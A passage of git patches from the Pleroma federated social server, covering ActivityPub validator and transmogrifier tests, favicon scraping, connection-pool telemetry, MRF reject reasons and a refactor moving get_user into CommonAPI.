Some projects will be left in the dark as a side effect of this. GNU Social and PostActiv, for example, both only communicate using OStatus. While some discussion<\/a> exists regarding adopting ActivityPub for GNU Social, and a plugin is in development<\/a>, it hasn't been formally adopted yet. We just hope that the Free Software Foundation's instance<\/a> gets updated in time!<\/p>\n","summary":"One of the largest platforms in the federated social web is dropping the protocol that it started with.","attributedTo":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog","url":"https:\/\/wedistribute.org\/2019\/07\/mastodon-drops-ostatus\/","to":["https:\/\/www.w3.org\/ns\/activitystreams#Public","https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog\/followers"],"id":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810","likes":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810\/likes","shares":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85810\/shares"},"to":["https:\/\/www.w3.org\/ns\/activitystreams#Public","https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/actor\/-blog\/followers"],"id":"https:\/\/wedistribute.org\/wp-json\/pterotype\/v1\/object\/85809"} \ No newline at end of file diff --git a/test/web/activity_pub/object_validators/article_note_validator_test.exs b/test/web/activity_pub/object_validators/article_note_validator_test.exs new file mode 100644 index 000000000..cc6dab872 --- /dev/null +++ b/test/web/activity_pub/object_validators/article_note_validator_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + + describe "Notes" do + setup do + user = insert(:user) + + note = %{ + "id" => Utils.generate_activity_id(), + "type" => "Note", + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [], + "content" => "Hellow this is content.", + "context" => "xxx", + "summary" => "a post" + } + + %{user: user, note: note} + end + + test "a basic note validates", %{note: note} do + %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) + end + end +end diff --git a/test/web/activity_pub/object_validators/note_validator_test.exs b/test/web/activity_pub/object_validators/note_validator_test.exs deleted file mode 100644 index 30c481ffb..000000000 --- a/test/web/activity_pub/object_validators/note_validator_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.NoteValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidators.NoteValidator - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - - describe "Notes" do - setup do - user = insert(:user) - - note = %{ - "id" => Utils.generate_activity_id(), - "type" => "Note", - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [], - "content" => "Hellow this is content.", - "context" => "xxx", - "summary" => "a post" - } - - %{user: user, note: note} - end - - test "a basic note validates", %{note: note} do - %{valid?: true} = NoteValidator.cast_and_validate(note) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/article_handling_test.exs b/test/web/activity_pub/transmogrifier/article_handling_test.exs new file mode 100644 index 000000000..9b12a470a --- /dev/null +++ b/test/web/activity_pub/transmogrifier/article_handling_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + test "Pterotype (Wordpress Plugin) Article" do + Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + end) + + data = + File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(data["object"]) + + assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" + + assert object.data["summary"] == + "One of the largest platforms in the federated social web is dropping the protocol that it started with." + + assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "Plume Article" do + Tesla.Mock.mock(fn + %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + } + + %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + } + end) + + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object.data["name"] == "This Month in Plume: June 2018" + + assert object.data["url"] == + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + end + + test "Prismo Article" do + Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + } + end) + + data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["url"] == "https://prismo.news/posts/83" + end +end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 0a3291d49..561674f01 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -44,15 +44,6 @@ test "it works for incoming notices with tag not being an array (kroeg)" do assert "test" in object.data["tag"] end - test "it works for incoming notices with url not being a string (prismo)" do - data = File.read!("test/fixtures/prismo-url-map.json") |> Poison.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["url"] == "https://prismo.news/posts/83" - end - test "it cleans up incoming notices which are not really DMs" do user = insert(:user) other_user = insert(:user) -- cgit v1.2.3 From f18178cb096b9a00ed12ff0fe36893f118ec6649 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Sat, 22 Aug 2020 02:01:33 +0200 Subject: AttachmentValidator: directly embed url schema and pass it fix_media_type --- .../object_validators/attachment_validator.ex | 21 +++++++++++++++++-- .../object_validators/url_object_validator.ex | 24 ---------------------- 2 files changed, 19 insertions(+), 26 deletions(-) delete mode 100644 lib/pleroma/web/activity_pub/object_validators/url_object_validator.ex diff --git a/lib/pleroma/web/activity_pub/object_validators/attachment_validator.ex b/lib/pleroma/web/activity_pub/object_validators/attachment_validator.ex index c8b148280..df102a134 100644 --- a/lib/pleroma/web/activity_pub/object_validators/attachment_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/attachment_validator.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator do use Ecto.Schema + alias Pleroma.EctoType.ActivityPub.ObjectValidators alias Pleroma.Web.ActivityPub.ObjectValidators.UrlObjectValidator import Ecto.Changeset @@ -15,7 +16,11 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator do field(:mediaType, :string, default: "application/octet-stream") field(:name, :string) - embeds_many(:url, UrlObjectValidator) + embeds_many :url, UrlObjectValidator, primary_key: false do + field(:type, :string) + field(:href, ObjectValidators.Uri) + field(:mediaType, :string, default: "application/octet-stream") + end end def cast_and_validate(data) do @@ -37,7 +42,18 @@ def changeset(struct, data) do struct |> cast(data, [:type, :mediaType, :name]) - |> cast_embed(:url, required: true) + |> cast_embed(:url, with: &url_changeset/2) + |> validate_inclusion(:type, ~w[Link Document Audio Image Video]) + |> validate_required([:type, :mediaType, :url]) + end + + def url_changeset(struct, data) do + data = fix_media_type(data) + + struct + |> cast(data, [:type, :href, :mediaType]) + |> validate_inclusion(:type, ["Link"]) + |> validate_required([:type, :href, :mediaType]) end def fix_media_type(data) do @@ -75,6 +91,7 @@ defp fix_url(data) do def validate_data(cng) do cng + |> validate_inclusion(:type, ~w[Document Audio Image Video]) |> validate_required([:mediaType, :url, :type]) end end diff --git a/lib/pleroma/web/activity_pub/object_validators/url_object_validator.ex b/lib/pleroma/web/activity_pub/object_validators/url_object_validator.ex deleted file mode 100644 index 881030f38..000000000 --- a/lib/pleroma/web/activity_pub/object_validators/url_object_validator.ex +++ /dev/null @@ -1,24 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.UrlObjectValidator do - use Ecto.Schema - - alias Pleroma.EctoType.ActivityPub.ObjectValidators - - import Ecto.Changeset - @primary_key false - - embedded_schema do - field(:type, :string) - field(:href, ObjectValidators.Uri) - field(:mediaType, :string, default: "application/octet-stream") - end - - def changeset(struct, data) do - struct - |> cast(data, __schema__(:fields)) - |> validate_required([:type, :href, :mediaType]) - end -end -- cgit v1.2.3 From e3ca0a7e2d18ca9b3c809282678456d4517d39bc Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Fri, 11 Sep 2020 09:09:28 +0300 Subject: migration to remove old cron jobs --- .../migrations/20200911055909_remove_cron_jobs.exs | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 priv/repo/migrations/20200911055909_remove_cron_jobs.exs diff --git a/priv/repo/migrations/20200911055909_remove_cron_jobs.exs b/priv/repo/migrations/20200911055909_remove_cron_jobs.exs new file mode 100644 index 000000000..33897d128 --- /dev/null +++ b/priv/repo/migrations/20200911055909_remove_cron_jobs.exs @@ -0,0 +1,20 @@ +defmodule Pleroma.Repo.Migrations.RemoveCronJobs do + use Ecto.Migration + + import Ecto.Query, only: [from: 2] + + def up do + from(j in "oban_jobs", + where: + j.worker in ^[ + "Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker", + "Pleroma.Workers.Cron.StatsWorker", + "Pleroma.Workers.Cron.ClearOauthTokenWorker" + ], + select: [:id] + ) + |> Pleroma.Repo.delete_all() + end + + def down, do: :ok +end -- cgit v1.2.3 From dbc013f24c3885960714425f201e372335d22345 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Fri, 11 Sep 2020 11:22:50 +0200 Subject: instance: Handle not getting a favicon --- lib/pleroma/instances/instance.ex | 12 +++--- test/web/instances/instance_test.exs | 77 ++++++++++++++++++++++-------------- 2 files changed, 53 insertions(+), 36 deletions(-) diff --git a/lib/pleroma/instances/instance.ex b/lib/pleroma/instances/instance.ex index 8bf53c090..6948651c7 100644 --- a/lib/pleroma/instances/instance.ex +++ b/lib/pleroma/instances/instance.ex @@ -159,13 +159,11 @@ defp scrape_favicon(%URI{} = instance_uri) do Pleroma.HTTP.get(to_string(instance_uri), [{"accept", "text/html"}], adapter: [pool: :media] ), - favicon_rel <- - html - |> Floki.parse_document!() - |> Floki.attribute("link[rel=icon]", "href") - |> List.first(), - favicon <- URI.merge(instance_uri, favicon_rel) |> to_string(), - true <- is_binary(favicon) do + {_, [favicon_rel | _]} when is_binary(favicon_rel) <- + {:parse, + html |> Floki.parse_document!() |> Floki.attribute("link[rel=icon]", "href")}, + {_, favicon} when is_binary(favicon) <- + {:merge, URI.merge(instance_uri, favicon_rel) |> to_string()} do favicon else _ -> nil diff --git a/test/web/instances/instance_test.exs b/test/web/instances/instance_test.exs index dc6ace843..4f0805100 100644 --- a/test/web/instances/instance_test.exs +++ b/test/web/instances/instance_test.exs @@ -99,35 +99,54 @@ test "does NOT modify `unreachable_since` value of existing record in case it's end end - test "Scrapes favicon URLs" do - Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[] - } - end) - - assert "https://favicon.example.org/favicon.png" == - Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) - end + describe "get_or_update_favicon/1" do + test "Scrapes favicon URLs" do + Tesla.Mock.mock(fn %{url: "https://favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[] + } + end) + + assert "https://favicon.example.org/favicon.png" == + Instance.get_or_update_favicon(URI.parse("https://favicon.example.org/")) + end - test "Returns nil on too long favicon URLs" do - long_favicon_url = - "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" - - Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> - %Tesla.Env{ - status: 200, - body: ~s[] - } - end) - - assert capture_log(fn -> - assert nil == - Instance.get_or_update_favicon( - URI.parse("https://long-favicon.example.org/") - ) - end) =~ - "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + test "Returns nil on too long favicon URLs" do + long_favicon_url = + "https://Lorem.ipsum.dolor.sit.amet/consecteturadipiscingelit/Praesentpharetrapurusutaliquamtempus/Mauriseulaoreetarcu/atfacilisisorci/Nullamporttitor/nequesedfeugiatmollis/dolormagnaefficiturlorem/nonpretiumsapienorcieurisus/Nullamveleratsem/Maecenassedaccumsanexnam/favicon.png" + + Tesla.Mock.mock(fn %{url: "https://long-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: + ~s[] + } + end) + + assert capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://long-favicon.example.org/") + ) + end) =~ + "Instance.get_or_update_favicon(\"long-favicon.example.org\") error: %Postgrex.Error{" + end + + test "Handles not getting a favicon URL properly" do + Tesla.Mock.mock(fn %{url: "https://no-favicon.example.org/"} -> + %Tesla.Env{ + status: 200, + body: ~s[

I wil look down and whisper "GNO.."

] + } + end) + + refute capture_log(fn -> + assert nil == + Instance.get_or_update_favicon( + URI.parse("https://no-favicon.example.org/") + ) + end) =~ "Instance.scrape_favicon(\"https://no-favicon.example.org/\") error: " + end end end -- cgit v1.2.3 From 36c9197ac36707cdfe3d679bbd64972b4b03ea84 Mon Sep 17 00:00:00 2001 From: Haelwenn Date: Fri, 11 Sep 2020 10:46:16 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- lib/pleroma/web/federator/federator.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/federator/federator.ex b/lib/pleroma/web/federator/federator.ex index e4ab9ba32..130654145 100644 --- a/lib/pleroma/web/federator/federator.ex +++ b/lib/pleroma/web/federator/federator.ex @@ -94,7 +94,7 @@ def perform(:incoming_ap_doc, params) do e -> # Just drop those for now - Logger.debug("Unhandled activity\n" <> Jason.encode!(params, pretty: true)) + Logger.debug(fn -> "Unhandled activity\n" <> Jason.encode!(params, pretty: true) end) {:error, e} end end -- cgit v1.2.3 From 89a7efab69d905cc3521388b1e1cf43851848627 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Fri, 11 Sep 2020 14:22:54 +0300 Subject: ConnectionPool: Log possible HTTP1 blocks --- lib/pleroma/gun/conn.ex | 12 ++++++------ lib/pleroma/gun/connection_pool/worker.ex | 22 ++++++++++++++++------ lib/pleroma/telemetry/logger.ex | 18 ++++++++++++++++-- 3 files changed, 38 insertions(+), 14 deletions(-) diff --git a/lib/pleroma/gun/conn.ex b/lib/pleroma/gun/conn.ex index 75b1ffc0a..477e19c6e 100644 --- a/lib/pleroma/gun/conn.ex +++ b/lib/pleroma/gun/conn.ex @@ -50,10 +50,10 @@ defp do_open(uri, %{proxy: {proxy_host, proxy_port}} = opts) do with open_opts <- Map.delete(opts, :tls_opts), {:ok, conn} <- Gun.open(proxy_host, proxy_port, open_opts), - {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]), + {:ok, protocol} <- Gun.await_up(conn, opts[:connect_timeout]), stream <- Gun.connect(conn, connect_opts), {:response, :fin, 200, _} <- Gun.await(conn, stream) do - {:ok, conn} + {:ok, conn, protocol} else error -> Logger.warn( @@ -88,8 +88,8 @@ defp do_open(uri, %{proxy: {proxy_type, proxy_host, proxy_port}} = opts) do |> Map.put(:socks_opts, socks_opts) with {:ok, conn} <- Gun.open(proxy_host, proxy_port, opts), - {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]) do - {:ok, conn} + {:ok, protocol} <- Gun.await_up(conn, opts[:connect_timeout]) do + {:ok, conn, protocol} else error -> Logger.warn( @@ -106,8 +106,8 @@ defp do_open(%URI{host: host, port: port} = uri, opts) do host = Pleroma.HTTP.AdapterHelper.parse_host(host) with {:ok, conn} <- Gun.open(host, port, opts), - {:ok, _} <- Gun.await_up(conn, opts[:connect_timeout]) do - {:ok, conn} + {:ok, protocol} <- Gun.await_up(conn, opts[:connect_timeout]) do + {:ok, conn, protocol} else error -> Logger.warn( diff --git a/lib/pleroma/gun/connection_pool/worker.ex b/lib/pleroma/gun/connection_pool/worker.ex index c36332817..49d41e4c7 100644 --- a/lib/pleroma/gun/connection_pool/worker.ex +++ b/lib/pleroma/gun/connection_pool/worker.ex @@ -15,7 +15,7 @@ def init([_key, _uri, _opts, _client_pid] = opts) do @impl true def handle_continue({:connect, [key, uri, opts, client_pid]}, _) do - with {:ok, conn_pid} <- Gun.Conn.open(uri, opts), + with {:ok, conn_pid, protocol} <- Gun.Conn.open(uri, opts), Process.link(conn_pid) do time = :erlang.monotonic_time(:millisecond) @@ -27,8 +27,12 @@ def handle_continue({:connect, [key, uri, opts, client_pid]}, _) do send(client_pid, {:conn_pid, conn_pid}) {:noreply, - %{key: key, timer: nil, client_monitors: %{client_pid => Process.monitor(client_pid)}}, - :hibernate} + %{ + key: key, + timer: nil, + client_monitors: %{client_pid => Process.monitor(client_pid)}, + protocol: protocol + }, :hibernate} else err -> {:stop, {:shutdown, err}, nil} @@ -53,14 +57,20 @@ def handle_cast({:remove_client, client_pid}, state) do end @impl true - def handle_call(:add_client, {client_pid, _}, %{key: key} = state) do + def handle_call(:add_client, {client_pid, _}, %{key: key, protocol: protocol} = state) do time = :erlang.monotonic_time(:millisecond) - {{conn_pid, _, _, _}, _} = + {{conn_pid, used_by, _, _}, _} = Registry.update_value(@registry, key, fn {conn_pid, used_by, crf, last_reference} -> {conn_pid, [client_pid | used_by], crf(time - last_reference, crf), time} end) + :telemetry.execute( + [:pleroma, :connection_pool, :client, :add], + %{client_pid: client_pid, clients: used_by}, + %{key: state.key, protocol: protocol} + ) + state = if state.timer != nil do Process.cancel_timer(state[:timer]) @@ -131,7 +141,7 @@ def handle_info({:gun_down, _pid, _protocol, _reason, _killed_streams}, state) d @impl true def handle_info({:DOWN, _ref, :process, pid, reason}, state) do :telemetry.execute( - [:pleroma, :connection_pool, :client_death], + [:pleroma, :connection_pool, :client, :dead], %{client_pid: pid, reason: reason}, %{key: state.key} ) diff --git a/lib/pleroma/telemetry/logger.ex b/lib/pleroma/telemetry/logger.ex index 4cacae02f..197b1d091 100644 --- a/lib/pleroma/telemetry/logger.ex +++ b/lib/pleroma/telemetry/logger.ex @@ -7,7 +7,8 @@ defmodule Pleroma.Telemetry.Logger do [:pleroma, :connection_pool, :reclaim, :start], [:pleroma, :connection_pool, :reclaim, :stop], [:pleroma, :connection_pool, :provision_failure], - [:pleroma, :connection_pool, :client_death] + [:pleroma, :connection_pool, :client, :dead], + [:pleroma, :connection_pool, :client, :add] ] def attach do :telemetry.attach_many("pleroma-logger", @events, &handle_event/4, []) @@ -62,7 +63,7 @@ def handle_event( end def handle_event( - [:pleroma, :connection_pool, :client_death], + [:pleroma, :connection_pool, :client, :dead], %{client_pid: client_pid, reason: reason}, %{key: key}, _ @@ -73,4 +74,17 @@ def handle_event( }" end) end + + def handle_event( + [:pleroma, :connection_pool, :client, :add], + %{clients: [_, _ | _] = clients}, + %{key: key, protocol: :http}, + _ + ) do + Logger.info(fn -> + "Pool worker for #{key}: #{length(clients)} clients are using an HTTP1 connection at the same time, head-of-line blocking might occur." + end) + end + + def handle_event([:pleroma, :connection_pool, :client, :add], _, _, _), do: :ok end -- cgit v1.2.3 From f1f44069ae525fd21127e5ceccc61016c12f4427 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Fri, 11 Sep 2020 19:58:58 +0200 Subject: Fetcher: Correctly return MRF reject reason --- lib/pleroma/object/fetcher.ex | 4 ++-- lib/pleroma/web/activity_pub/activity_pub.ex | 4 ++-- test/object/fetcher_test.exs | 25 +++++++++++++++++++------ 3 files changed, 23 insertions(+), 10 deletions(-) diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex index 1de2ce6c3..24dc7cb95 100644 --- a/lib/pleroma/object/fetcher.ex +++ b/lib/pleroma/object/fetcher.ex @@ -98,8 +98,8 @@ def fetch_object_from_id(id, options \\ []) do {:containment, _} -> {:error, "Object containment failed."} - {:transmogrifier, {:error, {:reject, nil}}} -> - {:reject, nil} + {:transmogrifier, {:error, {:reject, e}}} -> + {:reject, e} {:transmogrifier, _} = e -> {:error, e} diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 66a9f78a3..b2205bff7 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -154,8 +154,8 @@ def insert(map, local \\ true, fake \\ false, bypass_actor_check \\ false) when {:remote_limit_pass, _} -> {:error, :remote_limit} - {:reject, reason} -> - {:error, reason} + {:reject, _} = e -> + {:error, e} end end diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs index 16cfa7f5c..3173ee31c 100644 --- a/test/object/fetcher_test.exs +++ b/test/object/fetcher_test.exs @@ -6,10 +6,13 @@ defmodule Pleroma.Object.FetcherTest do use Pleroma.DataCase alias Pleroma.Activity + alias Pleroma.Config alias Pleroma.Object alias Pleroma.Object.Fetcher - import Tesla.Mock + + import ExUnit.CaptureLog import Mock + import Tesla.Mock setup do mock(fn @@ -71,20 +74,20 @@ test "it works when fetching the OP actor errors out" do setup do: clear_config([:instance, :federation_incoming_replies_max_depth]) test "it returns thread depth exceeded error if thread depth is exceeded" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + Config.put([:instance, :federation_incoming_replies_max_depth], 0) assert {:error, "Max thread distance exceeded."} = Fetcher.fetch_object_from_id(@ap_id, depth: 1) end test "it fetches object if max thread depth is restricted to 0 and depth is not specified" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 0) + Config.put([:instance, :federation_incoming_replies_max_depth], 0) assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id) end test "it fetches object if requested depth does not exceed max thread depth" do - Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 10) + Config.put([:instance, :federation_incoming_replies_max_depth], 10) assert {:ok, _} = Fetcher.fetch_object_from_id(@ap_id, depth: 10) end @@ -120,6 +123,16 @@ test "it fetches an object" do assert object == object_again end + + test "Return MRF reason when fetched status is rejected by one" do + clear_config([:mrf_keyword, :reject], ["yeah"]) + clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.KeywordPolicy]) + + assert {:reject, "[KeywordPolicy] Matches with rejected keyword"} == + Fetcher.fetch_object_from_id( + "http://mastodon.example.org/@admin/99541947525187367" + ) + end end describe "implementation quirks" do @@ -212,7 +225,7 @@ test "it can refetch pruned objects" do Pleroma.Signature, [:passthrough], [] do - Pleroma.Config.put([:activitypub, :sign_object_fetches], true) + Config.put([:activitypub, :sign_object_fetches], true) Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") @@ -223,7 +236,7 @@ test "it can refetch pruned objects" do Pleroma.Signature, [:passthrough], [] do - Pleroma.Config.put([:activitypub, :sign_object_fetches], false) + Config.put([:activitypub, :sign_object_fetches], false) Fetcher.fetch_object_from_id("http://mastodon.example.org/@admin/99541947525187367") -- cgit v1.2.3 From f88dc1937e5aa4208143fa68400a5c38a1b9eddf Mon Sep 17 00:00:00 2001 From: Alex Gleason Date: Mon, 31 Aug 2020 16:48:24 -0500 Subject: MastodonAPI.StatusView.get_user/1 --> CommonAPI.get_user/1 --- lib/pleroma/web/admin_api/views/status_view.ex | 3 ++- lib/pleroma/web/common_api/common_api.ex | 17 +++++++++++++++ lib/pleroma/web/mastodon_api/views/status_view.ex | 25 ++++------------------ lib/pleroma/web/pleroma_api/views/scrobble_view.ex | 4 ++-- test/web/common_api/common_api_test.exs | 20 +++++++++++++++++ 5 files changed, 45 insertions(+), 24 deletions(-) diff --git a/lib/pleroma/web/admin_api/views/status_view.ex b/lib/pleroma/web/admin_api/views/status_view.ex index 500800be2..6042a22b6 100644 --- a/lib/pleroma/web/admin_api/views/status_view.ex +++ b/lib/pleroma/web/admin_api/views/status_view.ex @@ -8,6 +8,7 @@ defmodule Pleroma.Web.AdminAPI.StatusView do require Pleroma.Constants alias Pleroma.Web.AdminAPI + alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI defdelegate merge_account_views(user), to: AdminAPI.AccountView @@ -17,7 +18,7 @@ def render("index.json", opts) do end def render("show.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do - user = MastodonAPI.StatusView.get_user(activity.data["actor"]) + user = CommonAPI.get_user(activity.data["actor"]) MastodonAPI.StatusView.render("show.json", opts) |> Map.merge(%{account: merge_account_views(user)}) diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5ad2b91c2..d6e9d3d67 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -550,4 +550,21 @@ def hide_reblogs(%User{} = user, %User{} = target) do def show_reblogs(%User{} = user, %User{} = target) do UserRelationship.delete_reblog_mute(user, target) end + + def get_user(ap_id, fake_record_fallback \\ true) do + cond do + user = User.get_cached_by_ap_id(ap_id) -> + user + + user = User.get_by_guessed_nickname(ap_id) -> + user + + fake_record_fallback -> + # TODO: refactor (fake records is never a good idea) + User.error_user(ap_id) + + true -> + nil + end + end end diff --git a/lib/pleroma/web/mastodon_api/views/status_view.ex b/lib/pleroma/web/mastodon_api/views/status_view.ex index 3fe1967be..66732d09e 100644 --- a/lib/pleroma/web/mastodon_api/views/status_view.ex +++ b/lib/pleroma/web/mastodon_api/views/status_view.ex @@ -56,23 +56,6 @@ defp get_replied_to_activities(activities) do end) end - def get_user(ap_id, fake_record_fallback \\ true) do - cond do - user = User.get_cached_by_ap_id(ap_id) -> - user - - user = User.get_by_guessed_nickname(ap_id) -> - user - - fake_record_fallback -> - # TODO: refactor (fake records is never a good idea) - User.error_user(ap_id) - - true -> - nil - end - end - defp get_context_id(%{data: %{"context_id" => context_id}}) when not is_nil(context_id), do: context_id @@ -120,7 +103,7 @@ def render("index.json", opts) do # Note: unresolved users are filtered out actors = (activities ++ parent_activities) - |> Enum.map(&get_user(&1.data["actor"], false)) + |> Enum.map(&CommonAPI.get_user(&1.data["actor"], false)) |> Enum.filter(& &1) UserRelationship.view_relationships_option(reading_user, actors, subset: :source_mutes) @@ -139,7 +122,7 @@ def render( "show.json", %{activity: %{data: %{"type" => "Announce", "object" => _object}} = activity} = opts ) do - user = get_user(activity.data["actor"]) + user = CommonAPI.get_user(activity.data["actor"]) created_at = Utils.to_masto_date(activity.data["published"]) activity_object = Object.normalize(activity) @@ -212,7 +195,7 @@ def render( def render("show.json", %{activity: %{data: %{"object" => _object}} = activity} = opts) do object = Object.normalize(activity) - user = get_user(activity.data["actor"]) + user = CommonAPI.get_user(activity.data["actor"]) user_follower_address = user.follower_address like_count = object.data["like_count"] || 0 @@ -266,7 +249,7 @@ def render("show.json", %{activity: %{data: %{"object" => _object}} = activity} reply_to = get_reply_to(activity, opts) - reply_to_user = reply_to && get_user(reply_to.data["actor"]) + reply_to_user = reply_to && CommonAPI.get_user(reply_to.data["actor"]) content = object diff --git a/lib/pleroma/web/pleroma_api/views/scrobble_view.ex b/lib/pleroma/web/pleroma_api/views/scrobble_view.ex index bbff93abe..95bd4c368 100644 --- a/lib/pleroma/web/pleroma_api/views/scrobble_view.ex +++ b/lib/pleroma/web/pleroma_api/views/scrobble_view.ex @@ -10,14 +10,14 @@ defmodule Pleroma.Web.PleromaAPI.ScrobbleView do alias Pleroma.Activity alias Pleroma.HTML alias Pleroma.Object + alias Pleroma.Web.CommonAPI alias Pleroma.Web.CommonAPI.Utils alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.MastodonAPI.StatusView def render("show.json", %{activity: %Activity{data: %{"type" => "Listen"}} = activity} = opts) do object = Object.normalize(activity) - user = StatusView.get_user(activity.data["actor"]) + user = CommonAPI.get_user(activity.data["actor"]) created_at = Utils.to_masto_date(activity.data["published"]) %{ diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index 4ba6232dc..d171b344a 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -1126,4 +1126,24 @@ test "respects visibility=private" do assert Visibility.get_visibility(activity) == "private" end end + + describe "get_user/1" do + test "gets user by ap_id" do + user = insert(:user) + assert CommonAPI.get_user(user.ap_id) == user + end + + test "gets user by guessed nickname" do + user = insert(:user, ap_id: "", nickname: 